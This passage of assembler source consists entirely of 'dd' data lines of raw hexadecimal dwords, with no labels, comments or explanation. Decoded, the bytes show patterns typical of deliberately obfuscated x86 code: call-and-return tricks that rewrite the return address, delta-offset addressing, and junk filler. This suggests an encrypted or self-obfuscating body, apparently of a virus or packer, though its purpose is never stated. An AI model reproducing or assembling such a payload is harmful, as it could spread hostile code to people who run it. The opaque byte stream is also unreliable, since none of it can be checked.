6E0BB07Bh, 32FE5A59h dd 0BB443D2Dh, 628C4AE6h, 0B58B7D90h, 64BB67Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7DC35747h, 0B4887ECEh dd 0F25858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0FC7465C3h, 7C7E5AD9h, 0C4868958h dd 0F000000h, 68Ah, 0B99D8B00h, 8B06482Fh, 48140595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 199589B9h, 8306481Bh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0BB53DFC3h, 6FE78007h dd 0E8205089h, 9, 1F313A1Fh, 89BD5E51h, 2185893Ah, 5B064809h dd 0CAD4858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0EF6937C3h, 0ED5B6489h, 0BE8B516h dd 3B000000h, 387441CBh, 0F9FB6E5Dh, 0BD89BE23h, 64813B5h dd 0B886895Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0BD9C356h, 0D69345C1h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0B5FFD1C3h, 64BB689h, 5A3614BFh, 5195FF49h dd 6A064800h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 76F3C350h, 34895046h, 0C5950924h dd 0FF06482Fh, 4BB689B5h, 0CF816606h, 95FFB1CAh, 6481429h dd 1AB98589h, 0BD830648h, 64831A9h, 2D840F00h, 23000000h dd 480AD59Dh, 5E99606h, 0EB000000h, 0E761B0F1h, 96F98B50h dd 11E953h, 0C1A0000h, 0CD759E00h dd 5C390474h, 0BBAE246Eh, 5B72BC90h, 0B689B5FFh, 6A064Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 8C1C9FC3h, 5352B0ACh, 0E9B4E01Ch, 8, 99055F9Dh, 511DFC18h dd 13FD95FFh, 10E80648h, 0C8000000h, 1F105DF2h, 81D7F066h dd 4C0ACEF1h, 56B2793Bh, 8EA0BB66h, 0B5FF5F5Bh, 64BB689h dd 1C830Fh, 13E80000h, 55000000h, 0E0B65CE1h, 27E4738Eh dd 7B549E9h, 782D4F5Fh, 0B70FF9D7h, 95FF5BFBh, 648177Dh dd 899BD23h, 0BD290648h, 648006Dh, 2F1DBD83h, 0F020648h dd 3884h, 8B72B300h, 48155185h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 6E9B88EBh dd 950192E9h, 648164Dh, 530000C6h, 77BB665Bh, 0E185C7B9h dd 64816h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 914FC350h, 59D54F77h, 0EE96FB7h dd 0C7000000h, 0DF9BF7A6h, 64FD0041h, 6D2CD84Fh, 0DFB70FE0h dd 0FFF35BE9h, 4D8D89FFh, 8B06481Ah, 0A18589C1h, 66064829h dd 8D033FBFh, 48125585h, 588EBB06h, 669021EBh, 0F50DF8Bh dd 1C82h, 14E85000h, 74000000h, 9A7C204Eh, 0F737F8DBh dd 6B01B372h, 65DC54E2h, 5F6FCADDh, 6A905Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 11DF2BC3h dd 0D052C7F5h, 81B86D94h, 0D42A59F3h, 89006A08h, 48096D95h dd 0C19D8B06h, 6A064830h, 0E400BB00h, 858D1CCBh, 64CA3DDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AC35747h dd 7775E848h, 48EABB66h, 0C083DE8Bh, 0D8B70F05h, 15830F50h dd 0E8000000h, 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 5FEAF4BAh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 679CC351h, 14697A36h, 0EA22BF7Ah dd 81006AF5h, 2F240FCBh, 6A006A6Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 7787C351h dd 0C1997C75h, 2A31B501h, 9D8B0648h, 64804A5h, 2B2D95FFh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 9CDD2FC3h, 0BB069375h, 5AF416FCh, 6870Fh dd 0BD890000h, 6480799h, 99388D8Dh, 0BE9064Bh, 3D000000h dd 5A0A04AFh, 85849E81h, 0D1FF9781h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0E4C35242h, 98FECE0h, 294D9D8Bh dd 0BD830648h, 64830E5h, 93850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 7B45C352h, 0EBA16578h, 81664C90h, 6AF78AF3h, 10E902h dd 2C170000h, 37D00BC2h, 0E769FF5Fh, 52360F2Ah, 5050FC69h dd 0CDBF6652h, 0BF310F9Dh, 28A62F15h, 489585Ah, 0B1E78124h dd 8B70071Eh, 481025BDh, 5195FF06h, 6A064800h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0BD25C350h, 3141B589h, 870F0648h, 6, 14B99D8Bh, 1CE90648h dd 0E800000Eh, 0 dd 0E7ED815Dh, 0FC064CA3h, 4A9BD8Bh, 858D0648h, 64B93DAh dd 905090FCh, 35FF64h, 8B000000h, 482EF1BDh, 51958906h dd 6406480Ah, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 2DC786C3h, 3C307880h dd 0D185FF23h, 8906481Ah, 4826C59Dh, 6AFF6A06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 201CC350h, 1980F781h, 0BB661DB2h, 0B5FF5C64h, 6481BD5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 52C35646h dd 9723A0D9h, 9D8BF1D5h, 6482EBDh, 10D995FFh, 12E90648h dd 0E8000001h, 8, 0DD92A510h, 0A3311641h, 47D5BB66h, 0F00B05Bh dd 68Bh, 919D8B00h, 0E606481Ah, 6800F70h, 8B000000h, 4806B99Dh dd 8B71E406h, 481425BDh, 0F613C06h, 0D483h, 0C8B60F00h dd 15303EBFh, 6BA69h, 0C18B0000h, 16F98D89h, 0E8C10648h dd 0A1BD8B04h, 6606481Fh, 0B589E2F7h, 64822F9h, 8166C82Bh dd 8B3772D7h, 0DA8B66D1h, 6E9h, 39BD8B00h, 8B064807h, 48136985h dd 6810F06h, 8B000000h, 48143D9Dh, 8901BF06h, 0C08319C5h dd 9953107h, 83064831h, 8D0100C0h, 6481B31h, 830FD03Bh dd 24h, 0BA5BD8Bh, 5AE90648h, 0E9000000h, 14h, 372300E7h dd 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h, 12F58D8Bh dd 870F0648h, 6, 2A519D29h, 0E1830648h, 26840F01h, 8B000000h dd 0F5A583F9h, 0FE064812h, 0F7D9D23h, 95890648h, 6481369h dd 9319D8Bh, 0BD890648h, 6482EBDh, 0E9h, 4BB58D00h, 6A064C1Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 47D5C357h, 67529C84h, 8D0FDC5Ch, 2, 6AFE8Bh dd 0F7CB8056h, 2D95FF5Bh, 8B064809h, 7FFB9DEh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F95DFC3h, 0E183F9BFh, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0FB8B660Fh dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0C02B61A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 4EC35646h, 57A6A7B4h, 0D2B973D9h, 28E0FFCh dd 0B3000000h, 0BA9Dh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 342B2AC3h, 0E972AA73h dd 6, 0EF50BC0Eh, 33AD2E56h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 371244C3h, 26F78166h, 880D8Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B9A621C3h dd 5B095CFh, 1405958Bh, 8E0F0648h, 6, 4D61CB81h, 14E91B5Bh dd 9000000h, 0D17887EAh, 8AF63173h, 9B0FC5D3h, 0FC0A977h dd 8BCBC26Ch, 4830258Dh, 1BD8906h, 50064814h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8B52972Fh dd 481181BDh, 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 392856C3h, 89BF6678h, 0FDBD831Bh dd 64812h, 9D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 89A16DC3h, 4828698Dh dd 65BD8906h, 0B8064823h, 0 dd 8D8DF98Bh, 6484E80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0AAC35040h, 0C800FF8h, 0E9000000h, 7 dd 0F9856C68h, 0BFC71B45h, 4684705h, 6AE1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C8CA3CC3h dd 8E179D7Bh, 0FE9BE78h, 68Ch, 0C5BD8B00h, 83064815h, 482AD9BDh dd 840F0006h, 497h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 7EC35646h, 23D6573Dh, 481FB99Dh, 0D9BD8306h dd 106482Ah, 480840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 7C1134C3h, 8BA21E15h dd 4813659Dh, 65BD8B06h, 83064827h, 482AD9BDh, 860F0306h dd 410h, 11E19D8Bh, 6A600648h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0E30EC355h, 151D1870h dd 14E8F5h, 80120000h, 17CC5CB7h, 0D8CD1107h, 273E4F9Ah dd 0C024B893h, 0DE9A1F0h, 26000000h, 64ACA07Ch, 0B9962B5Ch dd 0BE4C9FDFh, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 4C35545h, 0F642E7D1h, 0E18000E5h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E8A47C0Ah, 7, 550F28Dh, 0B3BE4094h, 0C90A5FB3h, 124840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 469EF3C3h, 858B56F5h, 6481159h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 85C35747h, 0FEEF888Fh dd 12198533h, 0B5290648h, 6480D41h, 50DE8B66h, 489D88Bh dd 5E924h, 68D60000h, 0FF5A390h, 6ADBBFh, 1C799D8Bh, 9E680648h dd 8169725Dh, 5E612434h, 6A696Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0BF4431C3h, 30FB370Ch dd 1E2F6D9h, 48271D85h, 0E19D8B06h, 0FF064815h, 48074195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 5D933AF1h, 4DF57707h, 9D8BD88Bh, 6483125h dd 0B6898589h, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0BE8838C3h, 0FA988F9h, 885h, 28E0F00h dd 0B7000000h, 399D8B7Fh, 0E906482Fh, 1B3h, 0F531D781h dd 858B752Eh, 64BB681h, 0D8D78166h, 1800C734h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0E3B5C350h, 14A29061h, 68C0FFCh, 9000000h dd 4806F1B5h, 85B58B06h, 6A064BB6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 768FC350h dd 0ED998FAh, 1A85858Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0FA2A38C3h, 34DCF5A4h dd 8BF709B2h, 4805C19Dh, 3068906h, 4807DD9Dh, 59858B06h dd 6A064811h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0C6F7C352h, 6A9772F3h, 83C60736h dd 0C8F0Fh, 800F0000h, 6, 983EF381h, 46890E2Eh, 0D19D8B04h dd 50064804h, 0AE850h, 1D690000h, 5F8249BCh, 59E1C850h dd 34895B5Fh, 81B5FF24h, 6A064BB6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6B8DC355h dd 0F36803B7h, 8BCD4B30h, 240481D9h, 32D3D30Ch, 16B59D8Bh dd 858D0648h, 64BB689h, 0CE8h, 6DF2A00h, 1140ADDDh, 72DD1DD0h dd 499D8951h, 5F06481Ah, 0AEBB6690h, 0C2BB50C2h, 906480FEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h dd 5610DEDCh, 93010B99h, 19958912h, 0FF06480Ch, 48074195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 61101E53h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 4BC35040h, 0DC6310F1h, 0C2E8BF66h, 9822BB66h dd 2AD985C7h, 30648h, 8B660000h, 89BD83FBh, 64BB6h, 4A840Fh dd 85890000h, 6480029h, 5AE9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C1D52720h dd 0F1C3406Fh, 820F0B78h, 14h, 0FE9h, 0A2491C00h, 790EC53h dd 0A7E527B0h, 597134F1h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 285FC357h, 0BFDB7AF8h dd 607DACF2h, 0F9D9D8Bh, 0BD830648h, 6482AD9h, 66850F03h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 46AC357h, 0DE99FE7h, 4000000h dd 9CE5BA9Dh, 0AD0E8FDh, 38FEA05Eh, 83DF8B66h, 4BB689BDh dd 840F0006h, 425h, 0FFAFEB80h, 4BB689B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0BBBD305Fh, 0F869FD9h, 88Dh, 8B666000h, 17E380D0h, 998D8961h dd 0F064829h, 95FFD9B7h, 64809F5h, 66F8BF0Fh, 0B58BF98Bh dd 64BB67Dh, 18B0F60h, 0F9000000h, 870Fh, 0C7610000h, 1000106h dd 4DBD2B00h, 96064833h, 11E9h, 6F21A300h, 1A71D720h, 0A38FA60Fh dd 0CAEB332Ah, 5750852Dh, 11E8h, 2F2A8700h, 19BFF7FAh dd 6591CD40h, 2E28B5B0h, 10E81AC0h, 0BD000000h, 340C6E14h dd 27C6862h, 18C4DA06h, 5B490B41h, 66965F5Bh, 0FFAD47BFh dd 4BB689B5h, 299D8B06h, 0FF064803h, 48006195h, 39BD8B06h dd 8B064800h, 4BB67DB5h, 9CE78006h, 0F25858Bh, 830F0648h dd 6, 17C5BD2Bh, 86890648h, 0C4h, 0C150B0BFh, 5958B31h dd 6A064814h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 50EDC355h, 83F8C096h, 6A04C2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 9D8975C3h, 6482C15h, 6A205089h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 171FC356h dd 8D0FD9E0h, 0Ch, 6870Fh, 9D890000h, 6482AF5h, 10860Fh dd 0BE90000h, 3B000000h, 1D4FBDBh, 46DC1F06h, 858D76ABh dd 64BCAD4h, 0B298D89h, 86890648h, 0B8h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 0DFC35343h, 11F19589h dd 6A0648h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0C9C35242h, 8D294D2Bh, 0BD038C47h, 6481481h, 2F3D9D8Bh dd 0B5FF0648h, 64BB689h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 36C35747h, 0A3BB6F42h, 5195FFB6h, 6A064800h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0F14BC356h dd 21850910h, 50064830h, 0EE9h, 761D2B00h, 4B715678h, 0D5A1E786h dd 89681C5Bh, 8E0F2434h, 5, 0E804A6BFh, 89B5FF68h, 6A064BB6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0C130C353h, 0BA8B0DBCh, 0EF81B3C3h, 5A502E8Ah dd 165DBD03h, 95FF0648h, 6481429h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 5BC35343h, 0B52910DDh, 6481B3Dh dd 31A9BD83h, 0F000648h, 4E84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0D1411E52h dd 2632A1BAh, 800FFCC6h, 15h, 10E9h, 47E50700h, 85039A94h dd 0EED2396h, 0D5333C20h, 29BB50E5h, 895F37C7h, 81662434h dd 0FF21BFD3h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 4E9626C2h dd 0E2B35D32h, 13FD95FFh, 0B5FF0648h, 64BB689h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B2C35141h, 6B91DB79h dd 177D95FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 2945C1C3h, 4814DDBDh, 1DBD8306h dd 206482Fh, 6C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8B968FC3h, 4803ADBDh dd 51858B06h, 6A064815h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0C68FC356h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 6068C6C3h, 586CAD71h, 85C78AB3h, 64816E1h, 0 dd 0B878C2BBh, 0F277E91Ch, 8BF5FFFFh, 53006AC1h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 98FECE0h, 3717FC8Ah, 1BD319Ch, 8D064808h, 48125585h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 45BD8951h, 5006480Fh, 0F240489h, 0D83h dd 8E900h, 65050000h, 0BD4EBBACh, 6A34B9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F6C35747h, 6AA195h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F4C35242h dd 8B2808CBh, 0B7CC32D7h, 4E858DE8h, 6A064CB4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0B320C350h, 7E9A314Fh, 4FECA0BCh, 65D8D01h, 9D330648h dd 648118Dh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0D15BC356h, 0B767D38Ch dd 159D8B3Dh, 50064830h, 89F98B66h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6043C3h dd 4813ED95h, 0CE806h, 14B30000h, 6704EA34h, 2AC73D6Eh dd 0FE8B80EFh, 0BD8B615Eh, 6481401h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 3D348C3h dd 0CA70458Ch, 6A006AA4h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FFEBC350h, 482B2D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0EF81667Bh, 8D8D13F3h, 64B9938h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C0C35646h, 0BD6CE064h dd 8D895A9Fh, 6482885h, 12E8D1FFh, 14000000h, 1E1B767Eh dd 459D3128h, 0B36D11A7h, 32CC29EAh, 21BD8923h, 5B06480Eh dd 30E5BD83h, 0F010648h, 5E85h, 8E900h, 5AD70000h, 60DDEB4Ch dd 26A875Ch, 0D16CB81h, 60907C87h, 870Fh, 0F08B0000h, 41BF5061h dd 90732003h, 95FF5B53h, 6480051h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 44C35343h, 8E57E5D7h, 81DB19B8h dd 41F9CDEFh, 719D8B4Fh, 0E906482Bh, 0E0Eh, 0E8h, 0ED815D00h dd 64CB458h, 0C7816660h, 880F693Eh, 6, 0E36AD081h, 0F616D43h dd 858DDEB7h, 64B93DAh, 15BDB501h, 60500648h, 860Fh, 0D68B0000h dd 24048961h, 2BC5BD8Bh, 0FF640648h, 35h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 64D98B45h, 2589h, 0FE8A0000h, 1AD185FFh, 0DF8B0648h dd 0D7816650h, 6A5B75BDh, 0FDB5FFFFh, 6A064806h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0B163C353h, 7EF057B7h, 14E90A3Ah, 99000000h, 0D2D984F2h dd 0B4E723F0h, 0BDDEC6Eh, 0FD4EFBA5h, 0FF61ECD2h, 4810D995h dd 12EE906h, 0BD8B0000h, 6481581h, 0DA8B00B0h, 9D3370E6h dd 64812E5h, 830F71E4h, 0 dd 830F613Ch, 10Ch, 0B370B860h, 7E920ECh, 30000000h, 8F4756C6h dd 0E861013Ah, 0Ch, 526115A1h, 2F7A24BAh, 31F130Ah, 0F5BFB8Bh dd 8B60C8B6h, 48059D95h, 6BA6106h, 0E9000000h, 0Fh, 0DD752E77h dd 0ED07A31Ah, 53FDA90Ah, 0E997D4D1h, 8, 5031A3Dh, 0FCB935A5h dd 8501C18Bh, 6481871h, 8B04E8C1h, 481281BDh, 0F766F506h dd 318529E2h, 2B064804h, 0D2CF81C8h, 8B2725B1h, 12E8D1h dd 76D30000h, 0CB102966h, 0F0CDB944h, 0A73728F4h, 6F4E1DF3h dd 6E9h, 9AEE1C00h, 5B22C785h, 67E9h, 359D3300h, 8B064807h dd 885h, 616BBB00h, 0C0837BCBh, 0B2BB6607h, 0C0835Ch, 0A89BD29h dd 0D03B0648h, 0B830Fh, 0B5890000h, 6483145h, 33E9h, 0FF8D8B00h dd 8BFFFFFFh, 1E183DEh, 22840Fh, 83BF0000h, 830809EDh dd 0FFFFFFA5h, 9589FEFFh, 8, 0D78B6660h, 31ADB58Bh, 0E9610648h dd 0 dd 3104B58Dh, 8D89064Ch, 64812F9h, 95FF006Ah, 648092Dh dd 5C38166h, 1182B967h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 219D75C3h, 0E18370E1h dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 1D7251EBh, 0C5E0D3B7h, 9ACF813Eh, 0FC104FA2h dd 3ABBC02Bh, 0BA2A0EACh, 0 dd 14E8h, 7DF74800h, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h dd 7191A1CBh, 0CD95898Ch, 5F06481Fh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 1324D9C3h, 0DDC97E71h, 8B60E306h dd 48283995h, 21858B06h, 61064832h, 959D23h, 880D0648h dd 0BF000000h, 36C12438h, 1405958Bh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 65E858C3h dd 26EF8166h, 258D8B7Fh, 6A064830h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8819C355h dd 158D9D31h, 0B5890648h, 648070Dh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 9D8B5818h, 648239Dh, 0BE8h, 8241D100h dd 0CE6814A7h, 2814E7C3h, 0FDBD835Bh, 64812h, 9A840Fh dd 95010000h, 6480BD1h, 19C9BD29h, 0B80648h, 0BB000000h dd 46E18FA1h, 0C850Fh, 880F0000h, 6, 7151C381h, 8D8D66F1h dd 6484E80h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 93C35545h, 2903758Ch, 48005585h, 6240BB06h, 8589005Dh dd 64813D5h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 2B3AD9C3h, 641B84A4h, 13E9h, 0C679E700h dd 8AF0A31Dh, 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh, 2AD9BD83h dd 0F000648h, 47F84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 294D2BC9h, 0D9BD838Dh dd 106482Ah, 46D840Fh, 0EB810000h, 62318122h, 2AD9BD83h dd 0F030648h, 42486h, 59BD2900h, 60064800h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A7C35242h, 0D98C66B7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4FC35646h dd 3195BD89h, 0E1800648h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 18DDD3C2h dd 0ED122A00h, 55B50927h, 0A064832h, 7A840FC9h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0E3FDC353h, 0F8E84A9h, 1B1BB9CAh, 29DABF0Fh dd 48166995h, 59858B06h, 6A064811h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B64CC353h dd 8953BE10h, 480521B5h, 85335F06h, 6481219h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h, 1CB75013h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 157CC353h, 0FEA2A21Eh, 13CD8D89h dd 6A0648h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0EEC35141h, 4ED552CAh, 22998D29h, 4E80648h, 0FF000000h dd 66001F03h, 8A50DA8Bh, 24448BFCh, 0FA8B6604h, 5660008Bh dd 0CE8h, 0D4589000h, 7B5AC48Ch, 378C7507h, 665A5E7Bh dd 8961D18Bh, 8B042444h, 8B6658DEh, 0FFDE8BDFh, 48074195h dd 0F1BD0306h, 89064801h, 482FB1B5h, 89858906h, 6A064BB6h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 1539C352h, 158BB6A9h, 1BE08953h, 6AB96660h dd 0CFBF0F6Dh, 0FE8B6661h, 1A0E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 81858B10h dd 0B064BB6h, 482B65BDh, 1800C706h, 80000000h, 0B58B4EE3h dd 64BB685h, 54D9D8Bh, 858B0648h, 6481A85h, 1AC59D89h dd 66600648h, 8D29C38Bh, 64801F1h, 6A068961h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 804FC356h, 0D6BBE0DBh, 8B449B68h, 48115985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 3652E578h, 890F0EBFh, 6, 3315BD8Bh, 63BF0648h, 89503527h dd 81660446h, 965CA6E3h, 66525050h, 0F3872BBh, 0FE831h dd 35E70000h, 7B9E0E03h, 0B3C4D39Bh, 0BE431613h, 5F5F5302h dd 8996585Ah, 480F0985h, 81B5FF06h, 66064BB6h, 681870BBh dd 2355F4D8h, 27243481h, 80234AF7h, 858D09F7h, 64BB689h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 17C35747h dd 66904159h, 50A147BBh, 48E0Fh, 0BF660000h, 6A90786Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0DCDC351h, 39BD8BF2h, 0FF06482Ah, 48074195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 29954E63h, 0F1949E5h, 0BD8BFFBFh, 64811B1h dd 10E8h, 0C3AAAA00h, 0F3133EA3h, 0BD643B29h, 72737C47h dd 0DEB70F17h, 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 424D3AC3h, 8BCE7C54h, 318501DEh dd 0C706480Bh, 482AD985h, 306h, 57006A00h, 3E8h, 0C35F2000h dd 